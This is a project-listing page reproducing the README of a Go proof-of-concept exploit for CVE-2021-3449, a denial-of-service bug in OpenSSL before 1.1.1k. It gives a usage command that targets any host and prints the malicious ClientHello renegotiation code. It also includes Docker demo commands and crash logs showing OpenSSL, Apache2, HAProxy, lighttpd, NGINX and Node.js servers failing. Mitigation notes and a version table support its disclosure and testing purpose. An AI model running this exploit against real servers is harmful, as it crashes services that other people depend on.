All Projects → terorie → cve-2021-3449

terorie / cve-2021-3449

Licence: other
CVE-2021-3449 OpenSSL denial-of-service exploit 👨🏻‍💻

Programming Languages

go
31211 projects - #10 most used programming language
Makefile
30231 projects

Projects that are alternatives of or similar to cve-2021-3449

dheater
D(HE)ater is a proof of concept implementation of the D(HE)at attack (CVE-2002-20001) through which denial-of-service can be performed by enforcing the Diffie-Hellman key exchange.
Stars: ✭ 142 (-35.45%)
Mutual labels:  tls, exploit, denial-of-service
Openssl
Provides SSL, TLS and general purpose cryptography.
Stars: ✭ 166 (-24.55%)
Mutual labels:  tls, openssl
Search Guard Ssl
Elasticsearch SSL for free. Supports native Open SSL.
Stars: ✭ 159 (-27.73%)
Mutual labels:  tls, openssl
Openssl
TLS/SSL and crypto library
Stars: ✭ 17,157 (+7698.64%)
Mutual labels:  tls, openssl
Ssl Checker
Python script that collects SSL/TLS information from hosts
Stars: ✭ 94 (-57.27%)
Mutual labels:  tls, openssl
Tls Channel
A Java library that implements a ByteChannel interface over SSLEngine, enabling easy-to-use (socket-like) TLS for Java applications.
Stars: ✭ 113 (-48.64%)
Mutual labels:  tls, openssl
Snuffy
Snuffy is a simple command line tool to inspect SSL/TLS data.
Stars: ✭ 236 (+7.27%)
Mutual labels:  tls, openssl
openssl-certificate-authority-guide
Bu kılavuz, OpenSSL komut satırı araçlarını kullanarak kendi sertifika yetkilinizi (CA) kurup nasıl kullanacağınızı gösterir.
Stars: ✭ 17 (-92.27%)
Mutual labels:  tls, openssl
win-ca
Get Windows System Root certificates
Stars: ✭ 78 (-64.55%)
Mutual labels:  tls, openssl
SAP vulnerabilities
DoS PoC's for SAP products
Stars: ✭ 47 (-78.64%)
Mutual labels:  exploit, denial-of-service
SSL-TLS-ECDSA-timing-attack
Timing Attack on TLS' ECDSA signature
Stars: ✭ 41 (-81.36%)
Mutual labels:  tls, openssl
Wolfssl
wolfSSL (formerly CyaSSL) is a small, fast, portable implementation of TLS/SSL for embedded devices to the cloud. wolfSSL supports up to TLS 1.3!
Stars: ✭ 1,098 (+399.09%)
Mutual labels:  tls, openssl
Pyopenssl
A Python wrapper around the OpenSSL library
Stars: ✭ 701 (+218.64%)
Mutual labels:  tls, openssl
Cryptcheck
Verify some SSL/TLS website or XMPP implementation
Stars: ✭ 158 (-28.18%)
Mutual labels:  tls, openssl
Testssl.sh
Testing TLS/SSL encryption anywhere on any port
Stars: ✭ 5,676 (+2480%)
Mutual labels:  tls, openssl
Mutual Tls Ssl
🔐 Tutorial of setting up Security for your API with one way authentication with TLS/SSL and mutual mutual authentication for a java based web server and a client with both Spring Boot. Different clients are provided such as Apache HttpClient, OkHttp, Spring RestTemplate, Spring WebFlux WebClient Jetty and Netty, the old and the new JDK HttpClient, the old and the new Jersey Client, Google HttpClient, Unirest, Retrofit, Feign, Methanol, vertx, Scala client Finagle, Featherbed, Dispatch Reboot, AsyncHttpClient, Sttp, Akka, Requests Scala, Http4s Blaze, Kotlin client Fuel, http4k, Kohttp and ktor. Also other server examples are available such as jersey with grizzly. Also gRPC examples are included
Stars: ✭ 163 (-25.91%)
Mutual labels:  tls, openssl
openssl-RPM-Builder
Build latest OpenSSL binary
Stars: ✭ 46 (-79.09%)
Mutual labels:  tls, openssl
qsslcaudit
test SSL/TLS clients how secure they are
Stars: ✭ 22 (-90%)
Mutual labels:  tls, openssl
httpsbook
《深入浅出HTTPS:从原理到实战》代码示例、勘误、反馈、讨论
Stars: ✭ 77 (-65%)
Mutual labels:  tls, openssl
jruby-openssl
JRuby's OpenSSL gem
Stars: ✭ 39 (-82.27%)
Mutual labels:  tls, openssl

CVE-2021-3449 OpenSSL <1.1.1k DoS exploit

Usage: go run . -host hostname:port

This program implements a proof-of-concept exploit of CVE-2021-3449 affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.

It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation". The attack involves a maliciously-crafted ClientHello that causes the server to crash by causing a NULL pointer dereference (Denial-of-Service).

References

This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was developed by Peter Kästle and Samuel Sapalski from Nokia.

Mitigation

The only known fix is to update libssl1.1.

Even though some applications use hardened TLS configurations by default that disable TLS renegotiation, they are still affected by the bug if running an old OpenSSL version.

Exploit

main.go is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.

The exploit code was injected into a bundled version of the Go 1.14.15 encoding/tls package. You can find it in handshake_client.go:115. The logic is self-explanatory.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

@terorie

Demo

The demo/ directory holds configuration to patch various apps with a vulnerable version of OpenSSL.

Test setup:

  • Download and compile the vulnerable OpenSSL 1.1.1j version locally
  • Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries
  • Install application onto target container
  • Start server and execute attack

Requirements:

  • OpenSSL (on the host)
  • build-essential (Perl, GCC, Make)
  • Docker

Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.

Server Distro Version Demo Result
OpenSSL s_server - 1.1.1j make demo-openssl Crash
Apache2 Ubuntu 18.04 2.4.29 make demo-apache2 Partial crash
HAProxy Ubuntu 18.04 1.8.8 make demo-haproxy Crash
HAProxy Ubuntu 20.04 2.0.13 make demo-haproxy No effect
lighttpd Ubuntu 18.04 1.4.55 make demo-lighttpd Crash
lighttpd Ubuntu 20.04 1.4.55 make demo-lighttpd Crash
lighttpd Ubuntu 21.04 1.4.59 make demo-lighttpd No effect with config option
NGINX Ubuntu 18.04 1.14.0 make demo-nginx Partial crash
NGINX Ubuntu 20.04 1.18.0 make demo-nginx No effect
Node.js <=12 Ubuntu 18.04 No effect
Node.js >12 Ubuntu 18.04 ? make demo-nodejs Crash
Node.js >12 Ubuntu 18.04 15.14.0 make demo-nodejs No effect

To clean up all demo resources, run make clean.

OpenSSL simple server

The openssl s_server is a minimal TLS server implementation.

  • make demo-openssl: Full run (port 4433)
  • make -C demo build-openssl: Build target Docker image
  • make -C demo start-openssl: Start target at port 4433
  • make -C demo stop-openssl: Stop target

Result: Full server crash.

Logs

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Apache2 httpd web server with default configuration is vulnerable.

  • make demo-apache: Full run (port 443)
  • make -C demo build-apache: Build target Docker image
  • make -C demo start-apache: Start target at port 443
  • make -C demo stop-apache: Stop target

Thank you to @binarytrails for the contribution.

Result: Partial disruption, main process still alive but worker process crashed.

Logs

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

HAProxy versions 2.0.13 and up are not affected.

Versions before at least 1.8.8 are vulnerable with "intermediate" TLS configuration is vulnerable.

  • make demo-haproxy: Full run (port 4433)
  • make -C demo build-haproxy: Build target Docker image
  • make -C demo start-haproxy: Start target at port 4433
  • make -C demo stop-haproxy: Stop target

Tests run using master-worker mode (-W flag, default on Debian). Surprisingly, the master process exits if a worker process dies.

Result: Full server crash.

Logs

docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

lighttpd versions 1.4.56 and up are not vulnerable if ssl.disable-client-renegotiation = "enable" is configured in lighttpd.conf.

lighttpd web server <= 1.4.55 with "intermediate" TLS configuration is vulnerable.

  • make demo-lighttpd: Full run (port 4433)
  • make -C demo build-lighttpd: Build target Docker image
  • make -C demo start-lighttpd: Start target at port 4433
  • make -C demo stop-lighttpd: Stop target

Result: Full server crash.

Logs

docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

NGINX versions 1.18.0 and up are not vulnerable.

NGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io)

NGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine, since they include the SSL_OP_NO_RENEGOTIATION patch: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

  • make demo-nginx: Full run (port 4433)
  • make -C demo build-nginx: Build target Docker image
  • make -C demo start-nginx: Start target at port 4433
  • make -C demo stop-nginx: Stop target

Result: Partial disruption, main process still alive but worker process crashed.

Logs

docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

Node.js https.createServer() is vulnerable.

  • make demo-nodejs: Full run (port 4433)
  • make -C demo build-nodejs: Build target Docker image
  • make -C demo start-nodejs: Start target at port 4433
  • make -C demo stop-nodejs: Stop target

Result: Full server crash.

Logs

server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

Copyright

This repository bundles the encoding/tls package of the Go programming language.

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].